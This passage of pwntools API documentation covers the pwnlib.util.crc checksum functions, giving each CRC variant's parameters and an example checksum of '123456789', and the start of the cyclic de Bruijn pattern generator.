- width = 16

- init = 0xffff

- refin = False

- refout = False

- xorout = 0xffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-profibus

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_16_profibus('123456789')
43033
```

pwnlib.util.crc.**crc_16_riello**(*data*) → int

Calculates the crc_16_riello checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1021

- width = 16

- init = 0xb2aa

- refin = True

- refout = True

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-riello

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_16_riello('123456789')
25552
```

pwnlib.util.crc.**crc_16_t10_dif**(*data*) → int

Calculates the crc_16_t10_dif checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x8bb7

- width = 16

- init = 0x0

- refin = False

- refout = False

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-t10-dif

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_16_t10_dif('123456789')
53467
```

pwnlib.util.crc.**crc_16_teledisk**(*data*) → int
    Calculates the crc_16_teledisk checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0xa097

- width = 16

- init = 0x0

- refin = False

- refout = False

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-teledisk

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_16_teledisk('123456789')
4019
```

pwnlib.util.crc.**crc_16_tms37157**(*data*) → int
    Calculates the crc_16_tms37157 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1021

- width = 16

- init = 0x89ec

- refin = True

- refout = True

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-tms37157

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_16_tms37157('123456789')
9905
```

`pwnlib.util.crc.`**`crc_16_usb`**(*data*) → int

Calculates the crc_16_usb checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x8005

- width = 16

- init = 0xffff

- refin = True

- refout = True

- xorout = 0xffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-usb

> **Parameters** **data** (*str*) – The data to checksum.

Example

```
>>> print crc_16_usb('123456789')
46280
```

`pwnlib.util.crc.`**`crc_24`**(*data*) → int

Calculates the crc_24 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x864cfb

- width = 24

- init = 0xb704ce

- refin = False

- refout = False

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.24

> **Parameters** **data** (*str*) – The data to checksum.

Example

```
>>> print crc_24('123456789')
2215682
```

`pwnlib.util.crc.`**`crc_24_ble`**(*data*) → int

Calculates the crc_24_ble checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x65b

- width = 24

- init = 0x555555

- refin = True

- refout = True

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-24-ble

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_24_ble('123456789')
12737110
```

pwnlib.util.crc.**crc_24_flexray_a**(*data*) → int
    Calculates the crc_24_flexray_a checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x5d6dcb

- width = 24

- init = 0xfedcba

- refin = False

- refout = False

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-24-flexray-a

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_24_flexray_a('123456789')
7961021
```

pwnlib.util.crc.**crc_24_flexray_b**(*data*) → int
    Calculates the crc_24_flexray_b checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x5d6dcb

- width = 24

- init = 0xabcdef

- refin = False

- refout = False

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-24-flexray-b

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_24_flexray_b('123456789')
2040760
```

pwnlib.util.crc.**crc_24_interlaken**(*data*) → int
    Calculates the crc_24_interlaken checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x328b63

- width = 24

- init = 0xffffff

- refin = False

- refout = False

- xorout = 0xffffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-24-interlaken

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_24_interlaken('123456789')
11858918
```

pwnlib.util.crc.**crc_24_lte_a**(*data*) → int
    Calculates the crc_24_lte_a checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x864cfb

- width = 24

- init = 0x0

- refin = False

- refout = False

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-24-lte-a

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_24_lte_a('123456789')
13494019
```

`pwnlib.util.crc.`**`crc_24_lte_b`**(*data*) → int

> Calculates the crc_24_lte_b checksum.
>
> This is simply the *generic_crc()* with these frozen arguments:
>
> > - polynom = 0x800063
> >
> > - width = 24
> >
> > - init = 0x0
> >
> > - refin = False
> >
> > - refout = False
> >
> > - xorout = 0x0
>
> See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-24-lte-b
>
> > **Parameters data** (*str*) – The data to checksum.
>
> ### Example
>
> ```
> >>> print crc_24_lte_b('123456789')
> 2355026
> ```

`pwnlib.util.crc.`**`crc_30_cdma`**(*data*) → int

> Calculates the crc_30_cdma checksum.
>
> This is simply the *generic_crc()* with these frozen arguments:
>
> > - polynom = 0x2030b9c7
> >
> > - width = 30
> >
> > - init = 0x3fffffff
> >
> > - refin = False
> >
> > - refout = False
> >
> > - xorout = 0x3fffffff
>
> See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.30
>
> > **Parameters data** (*str*) – The data to checksum.
>
> ### Example
>
> ```
> >>> print crc_30_cdma('123456789')
> 79907519
> ```

`pwnlib.util.crc.`**`crc_31_philips`**(*data*) → int

> Calculates the crc_31_philips checksum.
>
> This is simply the *generic_crc()* with these frozen arguments:
>
> > - polynom = 0x4c11db7
> >
> > - width = 31
> >
> > - init = 0x7fffffff

- refin = False

- refout = False

- xorout = 0x7fffffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.31

> **Parameters** **data** (*str*) – The data to checksum.

Example

```
>>> print crc_31_philips('123456789')
216654956
```

pwnlib.util.crc.**crc_32**(*data*) → int
    Calculates the crc_32 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x4c11db7

- width = 32

- init = 0xffffffff

- refin = True

- refout = True

- xorout = 0xffffffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.32

> **Parameters** **data** (*str*) – The data to checksum.

Example

```
>>> print crc_32('123456789')
3421780262
```

pwnlib.util.crc.**crc_32_autosar**(*data*) → int
    Calculates the crc_32_autosar checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0xf4acfb13

- width = 32

- init = 0xffffffff

- refin = True

- refout = True

- xorout = 0xffffffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32-autosar

> **Parameters** **data** (*str*) – The data to checksum.

Example

```
>>> print crc_32_autosar('123456789')
379048042
```

`pwnlib.util.crc.`**`crc_32_bzip2`**(*data*) → int

Calculates the crc_32_bzip2 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x4c11db7

- width = 32

- init = 0xffffffff

- refin = False

- refout = False

- xorout = 0xffffffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32-bzip2

> **Parameters** **data** (*str*) – The data to checksum.

Example

```
>>> print crc_32_bzip2('123456789')
4236843288
```

`pwnlib.util.crc.`**`crc_32_mpeg_2`**(*data*) → int

Calculates the crc_32_mpeg_2 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x4c11db7

- width = 32

- init = 0xffffffff

- refin = False

- refout = False

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32-mpeg-2

> **Parameters** **data** (*str*) – The data to checksum.

Example

```
>>> print crc_32_mpeg_2('123456789')
58124007
```

`pwnlib.util.crc.`**`crc_32_posix`**(*data*) → int

Calculates the crc_32_posix checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x4c11db7

- width = 32

- init = 0x0

- refin = False

- refout = False

- xorout = 0xffffffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32-posix

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_32_posix('123456789')
1985902208
```

pwnlib.util.crc.**crc_32c**(*data*) → int
    Calculates the crc_32c checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1edc6f41

- width = 32

- init = 0xffffffff

- refin = True

- refout = True

- xorout = 0xffffffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32c

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_32c('123456789')
3808858755
```

pwnlib.util.crc.**crc_32d**(*data*) → int
    Calculates the crc_32d checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0xa833982b

- width = 32

- init = 0xffffffff

- refin = True

- refout = True

- xorout = 0xffffffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32d

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_32d('123456789')
2268157302
```

`pwnlib.util.crc.`**`crc_32q`**(*data*) → int
    Calculates the crc_32q checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x814141ab

- width = 32

- init = 0x0

- refin = False

- refout = False

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32q

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_32q('123456789')
806403967
```

`pwnlib.util.crc.`**`crc_3_gsm`**(*data*) → int
    Calculates the crc_3_gsm checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x3

- width = 3

- init = 0x0

- refin = False

- refout = False

- xorout = 0x7

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.3

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_3_gsm('123456789')
4
```

pwnlib.util.crc.**crc_3_rohc**(*data*) → int

    Calculates the crc_3_rohc checksum.

    This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x3

- width = 3

- init = 0x7

- refin = True

- refout = True

- xorout = 0x0

    See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-3-rohc

        Parameters data (*str*) – The data to checksum.

Example

```
>>> print crc_3_rohc('123456789')
6
```

pwnlib.util.crc.**crc_40_gsm**(*data*) → int

    Calculates the crc_40_gsm checksum.

    This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x4820009

- width = 40

- init = 0x0

- refin = False

- refout = False

- xorout = 0xffffffffff

    See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.40

        Parameters data (*str*) – The data to checksum.

Example

```
>>> print crc_40_gsm('123456789')
910907393606
```

pwnlib.util.crc.**crc_4_interlaken**(*data*) → int

    Calculates the crc_4_interlaken checksum.

    This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x3

- width = 4

- init = 0xf

- refin = False

- refout = False

- xorout = 0xf

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.4

>   Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_4_interlaken('123456789')
11
```

`pwnlib.util.crc.`**crc_4_itu**(*data*) → int
Calculates the crc_4_itu checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x3

- width = 4

- init = 0x0

- refin = True

- refout = True

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-4-itu

>   Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_4_itu('123456789')
7
```

`pwnlib.util.crc.`**crc_5_epc**(*data*) → int
Calculates the crc_5_epc checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x9

- width = 5

- init = 0x9

- refin = False

- refout = False

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.5

>   Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_5_epc('123456789')
0
```

pwnlib.util.crc.**crc_5_itu**(*data*) → int

Calculates the crc_5_itu checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x15

- width = 5

- init = 0x0

- refin = True

- refout = True

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-5-itu

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_5_itu('123456789')
7
```

pwnlib.util.crc.**crc_5_usb**(*data*) → int

Calculates the crc_5_usb checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x5

- width = 5

- init = 0x1f

- refin = True

- refout = True

- xorout = 0x1f

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-5-usb

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_5_usb('123456789')
25
```

pwnlib.util.crc.**crc_64**(*data*) → int

Calculates the crc_64 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x42f0e1eba9ea3693

- width = 64

- init = 0x0

- refin = False

- refout = False

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.64

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_64('123456789')
7800480153909949255
```

`pwnlib.util.crc.`**`crc_64_go_iso`**(*data*) → int

Calculates the crc_64_go_iso checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1b

- width = 64

- init = 0xffffffffffffffff

- refin = True

- refout = True

- xorout = 0xffffffffffffffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-64-go-iso

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_64_go_iso('123456789')
13333283586479230977
```

`pwnlib.util.crc.`**`crc_64_we`**(*data*) → int

Calculates the crc_64_we checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x42f0e1eba9ea3693

- width = 64

- init = 0xffffffffffffffff

- refin = False

- refout = False

- xorout = 0xffffffffffffffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-64-we

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_64_we('123456789')
7128171145767219210
```

pwnlib.util.crc.**crc_64_xz**(*data*) → int
  Calculates the crc_64_xz checksum.

  This is simply the *generic_crc()* with these frozen arguments:

  • polynom = 0x42f0e1eba9ea3693

  • width = 64

  • init = 0xffffffffffffffff

  • refin = True

  • refout = True

  • xorout = 0xffffffffffffffff

  See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-64-xz

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_64_xz('123456789')
11051210869376104954
```

pwnlib.util.crc.**crc_6_cdma2000_a**(*data*) → int
  Calculates the crc_6_cdma2000_a checksum.

  This is simply the *generic_crc()* with these frozen arguments:

  • polynom = 0x27

  • width = 6

  • init = 0x3f

  • refin = False

  • refout = False

  • xorout = 0x0

  See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.6

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_6_cdma2000_a('123456789')
13
```

pwnlib.util.crc.**crc_6_cdma2000_b**(*data*) → int

>   Calculates the crc_6_cdma2000_b checksum.

>   This is simply the *generic_crc()* with these frozen arguments:

>   - polynom = 0x7
>   - width = 6
>   - init = 0x3f
>   - refin = False
>   - refout = False
>   - xorout = 0x0

>   See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-6-cdma2000-b

>   >   **Parameters data** (*str*) – The data to checksum.

>   **Example**

>    ```
>    >>> print crc_6_cdma2000_b('123456789')
>    59
>    ```

pwnlib.util.crc.**crc_6_darc**(*data*) → int

>   Calculates the crc_6_darc checksum.

>   This is simply the *generic_crc()* with these frozen arguments:

>   - polynom = 0x19
>   - width = 6
>   - init = 0x0
>   - refin = True
>   - refout = True
>   - xorout = 0x0

>   See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-6-darc

>   >   **Parameters data** (*str*) – The data to checksum.

>   **Example**

>    ```
>    >>> print crc_6_darc('123456789')
>    38
>    ```

pwnlib.util.crc.**crc_6_gsm**(*data*) → int

>   Calculates the crc_6_gsm checksum.

>   This is simply the *generic_crc()* with these frozen arguments:

>   - polynom = 0x2f
>   - width = 6
>   - init = 0x0

- refin = False

- refout = False

- xorout = 0x3f

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-6-gsm

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_6_gsm('123456789')
19
```

pwnlib.util.crc.**crc_6_itu**(*data*) → int

Calculates the crc_6_itu checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x3

- width = 6

- init = 0x0

- refin = True

- refout = True

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-6-itu

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_6_itu('123456789')
6
```

pwnlib.util.crc.**crc_7**(*data*) → int

Calculates the crc_7 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x9

- width = 7

- init = 0x0

- refin = False

- refout = False

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.7

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_7('123456789')
117
```

`pwnlib.util.crc.`**`crc_7_rohc`**`(data)` → int

> Calculates the crc_7_rohc checksum.
>
> This is simply the `generic_crc()` with these frozen arguments:
>
> - polynom = 0x4f
>
> - width = 7
>
> - init = 0x7f
>
> - refin = True
>
> - refout = True
>
> - xorout = 0x0
>
> See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-7-rohc
>
> > **Parameters** **data** (`str`) – The data to checksum.

Example

```
>>> print crc_7_rohc('123456789')
83
```

`pwnlib.util.crc.`**`crc_7_umts`**`(data)` → int

> Calculates the crc_7_umts checksum.
>
> This is simply the `generic_crc()` with these frozen arguments:
>
> - polynom = 0x45
>
> - width = 7
>
> - init = 0x0
>
> - refin = False
>
> - refout = False
>
> - xorout = 0x0
>
> See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-7-umts
>
> > **Parameters** **data** (`str`) – The data to checksum.

Example

```
>>> print crc_7_umts('123456789')
97
```

`pwnlib.util.crc.`**`crc_8`**`(data)` → int

> Calculates the crc_8 checksum.
>
> This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x7
- width = 8
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.8

> **Parameters data** (`str`) – The data to checksum.

Example

```
>>> print crc_8('123456789')
244
```

`pwnlib.util.crc.`**`crc_82_darc`**(*data*) → int
    Calculates the crc_82_darc checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x308c0111011401440411
- width = 82
- init = 0x0
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.82

> **Parameters data** (`str`) – The data to checksum.

Example

```
>>> print crc_82_darc('123456789')
749237524598872659187218
```

`pwnlib.util.crc.`**`crc_8_autosar`**(*data*) → int
    Calculates the crc_8_autosar checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x2f
- width = 8
- init = 0xff
- refin = False
- refout = False
- xorout = 0xff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-autosar

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_8_autosar('123456789')
223
```

pwnlib.util.crc.**crc_8_cdma2000**(*data*) → int

Calculates the crc_8_cdma2000 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x9b

- width = 8

- init = 0xff

- refin = False

- refout = False

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-cdma2000

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_8_cdma2000('123456789')
218
```

pwnlib.util.crc.**crc_8_darc**(*data*) → int

Calculates the crc_8_darc checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x39

- width = 8

- init = 0x0

- refin = True

- refout = True

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-darc

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_8_darc('123456789')
21
```

pwnlib.util.crc.**crc_8_dvb_s2**(*data*) → int

    Calculates the crc_8_dvb_s2 checksum.

    This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0xd5
- width = 8
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

    See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-dvb-s2

        Parameters data (*str*) – The data to checksum.

Example

```
>>> print crc_8_dvb_s2('123456789')
188
```

pwnlib.util.crc.**crc_8_ebu**(*data*) → int

    Calculates the crc_8_ebu checksum.

    This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1d
- width = 8
- init = 0xff
- refin = True
- refout = True
- xorout = 0x0

    See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-ebu

        Parameters data (*str*) – The data to checksum.

Example

```
>>> print crc_8_ebu('123456789')
151
```

pwnlib.util.crc.**crc_8_gsm_a**(*data*) → int

    Calculates the crc_8_gsm_a checksum.

    This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1d
- width = 8
- init = 0x0

- refin = False

- refout = False

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-gsm-a

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_8_gsm_a('123456789')
55
```

pwnlib.util.crc.**crc_8_gsm_b**(*data*) → int
  Calculates the crc_8_gsm_b checksum.

  This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x49

- width = 8

- init = 0x0

- refin = False

- refout = False

- xorout = 0xff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-gsm-b

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_8_gsm_b('123456789')
148
```

pwnlib.util.crc.**crc_8_i_code**(*data*) → int
  Calculates the crc_8_i_code checksum.

  This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1d

- width = 8

- init = 0xfd

- refin = False

- refout = False

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-i-code

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_8_i_code('123456789')
126
```

pwnlib.util.crc.**crc_8_itu**(*data*) → int

Calculates the crc_8_itu checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x7

- width = 8

- init = 0x0

- refin = False

- refout = False

- xorout = 0x55

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-itu

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_8_itu('123456789')
161
```

pwnlib.util.crc.**crc_8_lte**(*data*) → int

Calculates the crc_8_lte checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x9b

- width = 8

- init = 0x0

- refin = False

- refout = False

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-lte

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_8_lte('123456789')
234
```

pwnlib.util.crc.**crc_8_maxim**(*data*) → int

Calculates the crc_8_maxim checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x31

- width = 8

- init = 0x0

- refin = True

- refout = True

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-maxim

> **Parameters data** (`str`) – The data to checksum.

Example

```
>>> print crc_8_maxim('123456789')
161
```

`pwnlib.util.crc.`**`crc_8_opensafety`**(*data*) → int
Calculates the crc_8_opensafety checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x2f

- width = 8

- init = 0x0

- refin = False

- refout = False

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-opensafety

> **Parameters data** (`str`) – The data to checksum.

Example

```
>>> print crc_8_opensafety('123456789')
62
```

`pwnlib.util.crc.`**`crc_8_rohc`**(*data*) → int
Calculates the crc_8_rohc checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x7

- width = 8

- init = 0xff

- refin = True

- refout = True

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-rohc

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_8_rohc('123456789')
208
```

pwnlib.util.crc.**crc_8_sae_j1850**(*data*) → int
    Calculates the crc_8_sae_j1850 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1d

- width = 8

- init = 0xff

- refin = False

- refout = False

- xorout = 0xff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-sae-j1850

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_8_sae_j1850('123456789')
75
```

pwnlib.util.crc.**crc_8_wcdma**(*data*) → int
    Calculates the crc_8_wcdma checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x9b

- width = 8

- init = 0x0

- refin = True

- refout = True

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-wcdma

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_8_wcdma('123456789')
37
```

`pwnlib.util.crc.`**`crc_a`**(*data*) → int

Calculates the crc_a checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x1021

- width = 16

- init = 0xc6c6

- refin = True

- refout = True

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-a

> **Parameters data** (`str`) – The data to checksum.

Example

```
>>> print crc_a('123456789')
48901
```

`pwnlib.util.crc.`**`jamcrc`**(*data*) → int

Calculates the jamcrc checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x4c11db7

- width = 32

- init = 0xffffffff

- refin = True

- refout = True

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.jamcrc

> **Parameters data** (`str`) – The data to checksum.

Example

```
>>> print jamcrc('123456789')
873187033
```

`pwnlib.util.crc.`**`kermit`**(*data*) → int

Calculates the kermit checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x1021

- width = 16

- init = 0x0

- refin = True

- refout = True

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.kermit

> Parameters **data** (`str`) – The data to checksum.

Example

```
>>> print kermit('123456789')
8585
```

pwnlib.util.crc.**modbus** (*data*) → int
> Calculates the modbus checksum.

> This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x8005

- width = 16

- init = 0xffff

- refin = True

- refout = True

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.modbus

> Parameters **data** (`str`) – The data to checksum.

Example

```
>>> print modbus('123456789')
19255
```

pwnlib.util.crc.**x_25** (*data*) → int
> Calculates the x_25 checksum.

> This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1021

- width = 16

- init = 0xffff

- refin = True

- refout = True

- xorout = 0xffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.x-25

> Parameters **data** (`str`) – The data to checksum.

Example

```
>>> print x_25('123456789')
36974
```

`pwnlib.util.crc.`**`xfer`**(*data*) → int

Calculates the xfer checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0xaf

- width = 32

- init = 0x0

- refin = False

- refout = False

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.xfer

> **Parameters** **data** (*str*) – The data to checksum.

Example

```
>>> print xfer('123456789')
3171672888
```

`pwnlib.util.crc.`**`xmodem`**(*data*) → int

Calculates the xmodem checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1021

- width = 16

- init = 0x0

- refin = False

- refout = False

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.xmodem

> **Parameters** **data** (*str*) – The data to checksum.

Example

```
>>> print xmodem('123456789')
12739
```

2.32 `pwnlib.util.cyclic` — Generation of unique sequences

pwnlib.util.cyclic.**cyclic**(*length = None*, *alphabet = None*, *n = None*) → list/str

A simple wrapper over *de_bruijn()*. This function returns at most *length* elements.

If the given alphabet is a string, a string is returned from this function. Otherwise a list is returned.

> **Parameters**
>
> - **length** – The desired length of the list or None if the entire sequence is desired.
>
> - **alphabet** – List or string to generate the sequence over.
>
> - **n** (*int*) – The length of subsequences that should be unique.

Notes

The maximum length is *len(alphabet)**n*.

The default values for *alphabet* and *n* restrict the total space to ~446KB.

If you need to generate a longer cyclic pattern, provide a longer *alphabet*, or if possible a larger *n*.

Example

Cyclic patterns are usually generated by providing a specific *length*.

```
>>> cyclic(20)
'aaaabaaacaaadaaaeaaa'
```

```
